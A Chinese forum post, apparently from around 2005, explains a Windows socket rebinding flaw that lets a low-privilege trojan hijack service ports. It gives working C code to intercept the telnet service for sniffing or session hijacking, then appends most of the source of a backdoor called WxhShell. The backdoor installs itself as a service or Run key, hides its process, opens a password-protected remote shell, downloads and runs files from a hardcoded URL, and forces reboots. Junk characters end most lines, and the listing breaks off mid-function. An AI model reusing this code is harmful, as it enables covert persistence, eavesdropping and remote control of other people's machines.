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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kWzp*<lWe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~Ntk -p  
\0\O/^W0  
  saddr.sin_family = AF_INET; pW]j.JM  
% km <+F=~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Q1!xA^S  
VG5+u,U6>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -P]O t>%S  
oO2DPcK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )5|9EXh  
\/Y(m4<P  
  这意味着什么?意味着可以进行如下的攻击: %\'=Y/yP  
{gD ED  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ne#dEUD  
W;u.@I&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) . ,|C>^  
gawY{Jr8I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ez1eGPVr  
2Zu9? L ,I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %.bDK}  
yfl?\X{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r8:r}Qj2w[  
C HnclT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g->*@%?<w>  
>a"J);p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XIcUoKg^  
TQR5V\{&%  
  #include yP58H{hQM8  
  #include rPk|2l,E,3  
  #include * + T(i  
  #include    VEps|d3,,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y##h(y  
  int main() fU6YJs.H^8  
  { ]J Yz(m[   
  WORD wVersionRequested; l7QxngWw  
  DWORD ret; n Bm ]?  
  WSADATA wsaData; '| H+5#  
  BOOL val; qd a 2  
  SOCKADDR_IN saddr; >a8iY|QY  
  SOCKADDR_IN scaddr; 0)&!$@HW  
  int err; p]aEC+q  
  SOCKET s; Nj9A-*0g6N  
  SOCKET sc; 5]O{tSj  
  int caddsize; u`|%qRt  
  HANDLE mt; )+ <w>pc  
  DWORD tid;   Sz5t~U=G  
  wVersionRequested = MAKEWORD( 2, 2 ); /,G `V  
  err = WSAStartup( wVersionRequested, &wsaData ); +Tum K.  
  if ( err != 0 ) { ~kW?]/$h  
  printf("error!WSAStartup failed!\n"); 6]7csOE  
  return -1; qzW3MlD  
  } 7I3_$uF  
  saddr.sin_family = AF_INET; |))NjM'ZBl  
   *'((_ NZ>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +&.zwniSS  
P~ObxY|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); # xtH6\X  
  saddr.sin_port = htons(23); LS~at.3zX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *PF<J/Pr  
  { w)dnmrKDZg  
  printf("error!socket failed!\n"); vF^d40gV  
  return -1; #eW T-m  
  } "2mPWRItO  
  val = TRUE; ImN'o4vo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r!R-3LO0s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c~<;}ve^z  
  { !q\8`ss  
  printf("error!setsockopt failed!\n"); 8lusKww  
  return -1; kcfT|@:MK"  
  } 8'PZA,CW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lDL&":t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  sS-dHa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5/"$ _7"{a  
<YvXyIs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *(9Tl]w  
  { cx[^D,usf~  
  ret=GetLastError(); (=j;rfvP  
  printf("error!bind failed!\n"); J*;RL`  
  return -1; %,\JTN|g|A  
  } 9@|52dz%  
  listen(s,2); ! I:N<  
  while(1) C:B7%<  
  { 7P1Pk?pxy  
  caddsize = sizeof(scaddr); '|[!I!WB`  
  //接受连接请求 !Gmnck&+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h%/BZC^L]|  
  if(sc!=INVALID_SOCKET) ed6@o4D/kf  
  { OjGI !  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %jL^sA2;c+  
  if(mt==NULL) u`'" =Y_E  
  { I!hh_  
  printf("Thread Creat Failed!\n"); KW:N 6w  
  break; D40 vCax^J  
  } yXU.PSG*  
  } H$%MIBz>$  
  CloseHandle(mt); 'D21A8*N  
  } |Y uf/G%/  
  closesocket(s); pwFdfp  
  WSACleanup(); C5~~$7k0  
  return 0; *D|a`R!Y  
  }   M`Q$-#E:  
  DWORD WINAPI ClientThread(LPVOID lpParam) sT?{  
  { EJn]C=_(  
  SOCKET ss = (SOCKET)lpParam; +(*HDa|  
  SOCKET sc; .lcp5D[(  
  unsigned char buf[4096]; NsB]f{7>8+  
  SOCKADDR_IN saddr; k!Yc_ZB:*l  
  long num; Ro<779.Gn\  
  DWORD val; mG1~rI  
  DWORD ret; <&\ng^Z$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UyRy>:n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]^ R':YE  
  saddr.sin_family = AF_INET;  ;+~5XLk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }PI:O%N;  
  saddr.sin_port = htons(23); ':n`0+Eh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) it}h8:^<  
  { GxhE5f;  
  printf("error!socket failed!\n"); mz0{eO  
  return -1; AMyg>n!  
  } =E2 a#Vd  
  val = 100; "}71z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vbmt0df  
  { v]cw})l  
  ret = GetLastError(); TdPd8ig8{  
  return -1; 5len} ){  
  } ]he~KO[j<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {8.Zb NEJ  
  {  vm! y2  
  ret = GetLastError(); We y*\@  
  return -1; @ZISv'F  
  } /bykIUTKI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `"=Hk@E  
  { MnD}i&k[  
  printf("error!socket connect failed!\n"); ,8384'  
  closesocket(sc); :aOR@])>o  
  closesocket(ss); ! t!4CY  
  return -1; i "V.$|,  
  } 8-<F4^i_i  
  while(1) E+Bc>xl@ m  
  { u.yR oZ8/!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _WNbuk0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J=-z~\f56  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OP\jO DX  
  num = recv(ss,buf,4096,0); SA'g`  
  if(num>0) G y[5'J`  
  send(sc,buf,num,0); [0Xuo  
  else if(num==0) W/UA%We3+L  
  break; vEfj3+e  
  num = recv(sc,buf,4096,0); N'y<<tTA  
  if(num>0) +[ ?!@)  
  send(ss,buf,num,0); f:M^q ;  
  else if(num==0) hj1;f<' U  
  break; eZ:iW#YF  
  } Il&F C  
  closesocket(ss); 6 5zx<  
  closesocket(sc); 9&r]k8K  
  return 0 ; waMV6w)<  
  } J%"5?)[z  
6],?Y+_;)L  
A _TaXl(  
========================================================== X QLP|v;"  
~2>Adp  
下边附上一个代码,,WXhSHELL 3PkZXeH/  
pmP~1=3  
========================================================== oU )(/  
6Mk#) ebM  
#include "stdafx.h" 3chx 4  
b; of9hY  
#include <stdio.h> vk|f"I  
#include <string.h> s 4rva G@a  
#include <windows.h> O`CZwXD  
#include <winsock2.h> _b8KK4UR  
#include <winsvc.h> FV9{u[3m  
#include <urlmon.h> <U$YJtEK  
J t.<Z&  
#pragma comment (lib, "Ws2_32.lib") =p@2[Uo  
#pragma comment (lib, "urlmon.lib") 5$+7Q$Gw  
:sw5@JdJ  
#define MAX_USER   100 // 最大客户端连接数 ~ ?nn(Q-  
#define BUF_SOCK   200 // sock buffer ->pU!f)\X  
#define KEY_BUFF   255 // 输入 buffer PW@ :fM:q  
mKtMI!FR  
#define REBOOT     0   // 重启 TAh'u|{u2  
#define SHUTDOWN   1   // 关机 9Pg6,[*u  
nZ=[6?  
#define DEF_PORT   5000 // 监听端口 ;S^"Y:7)  
nN$.^!;&  
#define REG_LEN     16   // 注册表键长度 N'{Yhx u  
#define SVC_LEN     80   // NT服务名长度 o,j_eheAM  
&(<>} r  
// 从dll定义API Wj3i*x$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QN;5+p[N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '9]?jkl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #SHJ0+)o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \ P6 !  
N1Xg-u?ul#  
// wxhshell配置信息 An>ai N]  
struct WSCFG { @G]*]rkKb  
  int ws_port;         // 监听端口 5.-:)=  
  char ws_passstr[REG_LEN]; // 口令 gWjYS#D  
  int ws_autoins;       // 安装标记, 1=yes 0=no f\?Rhyz  
  char ws_regname[REG_LEN]; // 注册表键名 B!<B7Q  
  char ws_svcname[REG_LEN]; // 服务名 _ LgP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OE[7fDe'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /)v+|%U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bkR~>F]FAu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;\pINtl9<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :icpPv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f.` 8vaV  
pno}`Cer  
}; U5ph4G  
_Cf:\Xs m  
// default Wxhshell configuration QNE/SSL  
struct WSCFG wscfg={DEF_PORT, I`xC0ZUKj  
    "xuhuanlingzhe", mGg/F&G9  
    1, RJ3uu NK7  
    "Wxhshell", 5WHqD!7u  
    "Wxhshell", *:\[;69[  
            "WxhShell Service", XRM/d5  
    "Wrsky Windows CmdShell Service", 3 u=\d)eq  
    "Please Input Your Password: ", })8D3kzX)  
  1, B.?F^m@zS  
  "http://www.wrsky.com/wxhshell.exe", )6"p@1\u  
  "Wxhshell.exe" D:K"J><@  
    }; zGme}z;1@  
>8{{H"$;(  
// 消息定义模块 rpEIDhHv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *EO*Gg0d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kDJqT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z+M{z r  
char *msg_ws_ext="\n\rExit."; N DI4EA~z  
char *msg_ws_end="\n\rQuit."; O)R}|  
char *msg_ws_boot="\n\rReboot..."; ADxje%!1O  
char *msg_ws_poff="\n\rShutdown..."; 82)=#ye_P  
char *msg_ws_down="\n\rSave to "; r1.zURY  
:Eh}]_  
char *msg_ws_err="\n\rErr!"; L B.B w  
char *msg_ws_ok="\n\rOK!"; d/+s-g p  
OP=oSfa  
char ExeFile[MAX_PATH]; REcKfJTj  
int nUser = 0; 9A{D<h}yk  
HANDLE handles[MAX_USER]; 1H%p|'FKA  
int OsIsNt; M4;M.zxJv  
: maBec)  
SERVICE_STATUS       serviceStatus; }"RVUYU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9%R"(X)  
um<$L  
// 函数声明 K}n.k[Do  
int Install(void); "`S?q G  
int Uninstall(void); B`nI] _  
int DownloadFile(char *sURL, SOCKET wsh); 04-@c  
int Boot(int flag); ut]&3f''  
void HideProc(void); f;+.j/ +  
int GetOsVer(void); W! |_ hL  
int Wxhshell(SOCKET wsl); U![$7k>,pr  
void TalkWithClient(void *cs); Y[VXx8"p  
int CmdShell(SOCKET sock); ,\\=f#c=  
int StartFromService(void); grI#'x  
int StartWxhshell(LPSTR lpCmdLine); ncVt (!c,e  
j)nE!GKD(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2=<,#7zlJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T1?9E{bC8A  
x~IrqdmW  
// 数据结构和表定义 ?#doH,  
SERVICE_TABLE_ENTRY DispatchTable[] = V%t_,AT  
{ ?J+*i d  
{wscfg.ws_svcname, NTServiceMain}, V'za,.d-  
{NULL, NULL} SN7_^F  
}; lA6{TH.x  
 SN}3  
// 自我安装 &liFUP?   
int Install(void) N!tNRMTi  
{ T gLr4Ex  
  char svExeFile[MAX_PATH]; "WPWMQ+  
  HKEY key; BHkicb?   
  strcpy(svExeFile,ExeFile); VY|U B7,C  
juu"V]Q 1  
// 如果是win9x系统,修改注册表设为自启动 1x sJz^%V  
if(!OsIsNt) { hr&UD|E=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p2O[r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P $r!u%W  
  RegCloseKey(key); RN&8dsreZp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n(n7"+B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fy>g*3  
  RegCloseKey(key); >r4BI}8SK<  
  return 0; !WB3%E,I  
    } V6Of(;r  
  } Pc+,iK>  
} )1YGWr;ykS  
else { hO$29_^"  
UpiZd/K  
// 如果是NT以上系统,安装为系统服务 gxVJH'[V5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hbx+*KM  
if (schSCManager!=0) y#O/Xw  
{ K)\D,5X^  
  SC_HANDLE schService = CreateService K|;L{[[yH  
  ( pUgas?e&  
  schSCManager, d%!yFix;<  
  wscfg.ws_svcname, J3r':I}\  
  wscfg.ws_svcdisp, %yR 80mn8  
  SERVICE_ALL_ACCESS, # M Y4Mr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g,Rh Ut9  
  SERVICE_AUTO_START, X&i" K'mV  
  SERVICE_ERROR_NORMAL, E*v+@rv  
  svExeFile, 7i=ER*F~  
  NULL, MGo`j:0  
  NULL, 6iEA._y  
  NULL, k6;pi=sYNW  
  NULL, zHW&i~  
  NULL 4LJOT_  
  ); tK\$LZ  
  if (schService!=0) S! .N3ezn  
  { B+'w'e$6  
  CloseServiceHandle(schService); a uve&y"R  
  CloseServiceHandle(schSCManager); D]V&1n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #vR5a}BAk  
  strcat(svExeFile,wscfg.ws_svcname); 25;`yB$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Xp+5{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z~"8C Kz  
  RegCloseKey(key); {Q0DHNP(G  
  return 0; n+'s9  
    } JNA_*3 '  
  } %1i *Y*wg  
  CloseServiceHandle(schSCManager); b]WvKdq  
} "N=q>jaX  
} Tz/[P:O3  
L%.=Sb mS  
return 1; uF T5Z  
} d5=yAn-+=  
(=s%>lW|  
// 自我卸载 v;" pc)i  
int Uninstall(void) g^k=z:n3,  
{ :*Z@UY   
  HKEY key; T%2%*oa  
4 ..V  
if(!OsIsNt) { dQAo~] B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PO0/C q)  
  RegDeleteValue(key,wscfg.ws_regname); x=44ITe1n[  
  RegCloseKey(key); Z ^yn S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CWE^:kr6  
  RegDeleteValue(key,wscfg.ws_regname); .wuRT>4G)G  
  RegCloseKey(key); p/jAr+XM  
  return 0; N*Xl0m(Q  
  } 1h?:gOig  
} EJ Ta~  
} 5R#:ALwX:  
else { |Lz7}g=6  
'\LU 8VC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R!_1*H$  
if (schSCManager!=0) ? )"v~vs  
{ l,E4h-$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +L}R|ihkI  
  if (schService!=0) d|$-l:(J  
  { Um I,?p  
  if(DeleteService(schService)!=0) { `AELe_  
  CloseServiceHandle(schService); 2}#VB;B  
  CloseServiceHandle(schSCManager); H~ =;yy  
  return 0; f.U.(  
  } RS  Vt  
  CloseServiceHandle(schService); BKW%/y"  
  } Th5}?j7  
  CloseServiceHandle(schSCManager); g+u5u\k  
} !Ka~X!+\  
} X0%BE!  
R&1 xZFj  
return 1; 3+:uV  
} 8B7,qxZ  
LwEc*79  
// 从指定url下载文件 x!9bvQT  
int DownloadFile(char *sURL, SOCKET wsh) coc :$Sr%  
{ Sy34doAZ  
  HRESULT hr; C<iOa)_@Q  
char seps[]= "/";  B*Q  
char *token; 6T A2  
char *file; I6F $@  
char myURL[MAX_PATH]; \W})Z72  
char myFILE[MAX_PATH]; ,koG*sn  
SrSm%Dv  
strcpy(myURL,sURL); L~L]MC&  
  token=strtok(myURL,seps); K/XUF#^B]  
  while(token!=NULL) F5f1j]c  
  { T ^z M m  
    file=token; ?nx 1{2[  
  token=strtok(NULL,seps); 8]0?mV8iOE  
  } ~dj4Q eu  
` oXL  
GetCurrentDirectory(MAX_PATH,myFILE); I K Dh)Zm  
strcat(myFILE, "\\"); G X>T~i\f8  
strcat(myFILE, file); aOo;~u2-=  
  send(wsh,myFILE,strlen(myFILE),0); I'16-  
send(wsh,"...",3,0); JB\BP$ap  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Ng HH]]O  
  if(hr==S_OK) JQWW's}  
return 0; p4{3H+y  
else 9w,u4q  
return 1; {:d9q  
1'g{tP"d  
} O\qY? )  
$;%dQ!7*  
// 系统电源模块 z6J fu:_N!  
int Boot(int flag) x<e-%HB*-  
{ AehkEN&H/t  
  HANDLE hToken; ) "To h=x]  
  TOKEN_PRIVILEGES tkp; ='|HUxFi  
#pw=HHq*(  
  if(OsIsNt) { h^6Yjy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); * E3 c--  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1f`=U 0  
    tkp.PrivilegeCount = 1; j{a3AEmps  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9ApGn!`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,o)U9 <  
if(flag==REBOOT) { QWBQ 0#L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P>t[35/1  
  return 0; +vtI1LC;_  
} 2 <@27 C5  
else { !zNMU$p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~|~j01#  
  return 0; ~:%rg H  
} W<D(M.61A  
  } 21BlLz  
  else { 5CsJghTw  
if(flag==REBOOT) { IlcFW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k98}Jx7J)"  
  return 0; :K6(`J3Y"^  
} XHlx89v7  
else { E*Q><UU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,1YnWy *  
  return 0; \k|ZbCWg  
} N|ut^X+|\  
} J dDP  
:>[;XT<  
return 1; WqC6 c&NM  
} \8!&X cA  
/N ^%=G#  
// win9x进程隐藏模块 m dC.M$  
void HideProc(void) M#qZ0JT4  
{ gi7As$+E  
O>Nop5#o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *s6MF{Ds  
  if ( hKernel != NULL ) N+?kFob  
  { 4>gMe3]0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &0 VM <  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e6f!6a+%  
    FreeLibrary(hKernel); t$=0  C  
  } 0=8.8LnN(  
`oh'rm3'8  
return; MQQ!@I`  
} 2 f]9I1{  
9b !+kJD  
// 获取操作系统版本 Y 1 i!  
int GetOsVer(void) ,F J9C3  
{ nYuZg6K  
  OSVERSIONINFO winfo; VYhZ0;' '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w<awCp  
  GetVersionEx(&winfo); A;h0BQm/j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uc }L/ax  
  return 1; &,fBg6A%  
  else d `Q$URn|  
  return 0; "$#x+|PyC  
} / vge@bsE  
R$*{@U  
// 客户端句柄模块 $Tq-<FbM)  
int Wxhshell(SOCKET wsl) c*_I1}l  
{ / GJ"##<  
  SOCKET wsh; {61NLF\0H  
  struct sockaddr_in client; >U9!KB  
  DWORD myID; -Tk~c1I#`  
@-;-DB]j  
  while(nUser<MAX_USER) g B<p  
{ ^$_a_ft#  
  int nSize=sizeof(client); }{Lf 4|8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xN}P0  
  if(wsh==INVALID_SOCKET) return 1; K I$?0O  
U;6~]0^K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P,~a'_w:|D  
if(handles[nUser]==0) A A<9 XC  
  closesocket(wsh); s+^o[R T3  
else X?Omk, '  
  nUser++; i2$U##-ro]  
  } _hMVv&$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {TdK S  
^C):yxN P  
  return 0; GwwxSB&y  
} *=S\jek  
N"T~U\R  
// 关闭 socket =o_d2 Ak  
void CloseIt(SOCKET wsh) J*,Ed51&7  
{ +B_q? 6pR  
closesocket(wsh); $}OU~d1q  
nUser--; cWp n/.a  
ExitThread(0); 0wZLkU_(  
} KL.{)bi  
xwT"Q=|kW  
// 客户端请求句柄 8o4<F%ot  
void TalkWithClient(void *cs) D/{Tl  
{ CHWyy  
v2EM| Q xp  
  SOCKET wsh=(SOCKET)cs; Y: KB"H  
  char pwd[SVC_LEN]; x7Ly,  
  char cmd[KEY_BUFF]; ;b cy(Fp,\  
char chr[1]; xJ>hN@5}i  
int i,j; D}cq_|mmn[  
YcRjbF,|6  
  while (nUser < MAX_USER) { qJ"dkT*  
z=>]E 1'RL  
if(wscfg.ws_passstr) { wXXv0OzK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #B`"B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j=dHgnVvj  
  //ZeroMemory(pwd,KEY_BUFF); cdzzS?$)  
      i=0; W|D'S}J  
  while(i<SVC_LEN) { I.y|AQB  
EW#.)@-  
  // 设置超时 N<Y-]xS  
  fd_set FdRead; i0p"q p  
  struct timeval TimeOut; ^"6xE nA]  
  FD_ZERO(&FdRead); go2:D#mf  
  FD_SET(wsh,&FdRead); a/_sL(F{  
  TimeOut.tv_sec=8; aKH\8O4L5  
  TimeOut.tv_usec=0; nm %ka4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7ou2SL}k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7i 334iQZ  
/o8`I m   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rS(693kb  
  pwd=chr[0]; HewVwD<C  
  if(chr[0]==0xd || chr[0]==0xa) { SAThY$)6  
  pwd=0; I9SO}a2p  
  break; _Mq@58q'  
  } lP9a*>=a  
  i++; "-v9V7KCM  
    } ':o.vQdJ  
T{sw{E*  
  // 如果是非法用户,关闭 socket /,E%)K;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ET=q 1t8  
} <Er|s^C  
`'Z ;+h]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !R{L`T0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7zR 7v  
l4;/[Q>Z  
while(1) { ]C)PZZI='  
eSa ]6  
  ZeroMemory(cmd,KEY_BUFF); TrkoLJmB  
.%WbXs  
      // 自动支持客户端 telnet标准   /:yKa=$  
  j=0; iOki ZN+d>  
  while(j<KEY_BUFF) { .~W7{SY[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tTWYlbDFN  
  cmd[j]=chr[0]; Gtg; 6&2  
  if(chr[0]==0xa || chr[0]==0xd) { t&0n"4$d'  
  cmd[j]=0; )vuxy  
  break; 3.R?=npA  
  } O$$s]R6  
  j++; tV# x{DN  
    } aeH 9:GQ6  
V-7!)&q  
  // 下载文件 ;"joebZ/  
  if(strstr(cmd,"http://")) { ^BNg^V.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <bGSr23*  
  if(DownloadFile(cmd,wsh)) P_&2HA,I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<v3G)|aS  
  else {CQA@p:Y}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $qIMYX  
  } Wv(VV[?/&  
  else { /7P4[~vw  
#@y4/JS&2  
    switch(cmd[0]) { <k<  
  ?LvZEiJ  
  // 帮助 G+\2Aj  
  case '?': { f>p;Jh{2fn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 61!R -  
    break; (hd2&mSy  
  } =$b^ X?x  
  // 安装 o1I{^7/  
  case 'i': { NbG3^(  
    if(Install()) (kb^=kw#0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &*MwKr<y  
    else O v?k4kJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Vive2j C  
    break; ~p8-#A)X,)  
    } E(TL+o  
  // 卸载 Z4E:Z}~''  
  case 'r': { 10}\7p8  
    if(Uninstall()) a{Tv#P*!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[9A*  
    else ?L{[84GSO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $]xe,}*Af  
    break; tR0o6s@v/<  
    } R2t5T-8`c  
  // 显示 wxhshell 所在路径 t[iE >  
  case 'p': { z#bO FVg#  
    char svExeFile[MAX_PATH]; i (L;1 `  
    strcpy(svExeFile,"\n\r"); mpXc o *!_  
      strcat(svExeFile,ExeFile); O1rnF3Be  
        send(wsh,svExeFile,strlen(svExeFile),0); pS*vwYA  
    break; ]}KmT"vA  
    } [T~O%ly7x&  
  // 重启 Yz.[CmdX  
  case 'b': { j"J2&Y2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +?nW  
    if(Boot(REBOOT)) >9Ub=tZm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >JrQS"[u  
    else { 7(Y!w8q&^  
    closesocket(wsh); K^s!0[6  
    ExitThread(0); C x$|7J=O  
    } {$O.@#'  
    break; 3D;\V&([  
    } WR gAc%  
  // 关机 Hz%#&E  
  case 'd': { O2ety2}?f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aL+k1v[m  
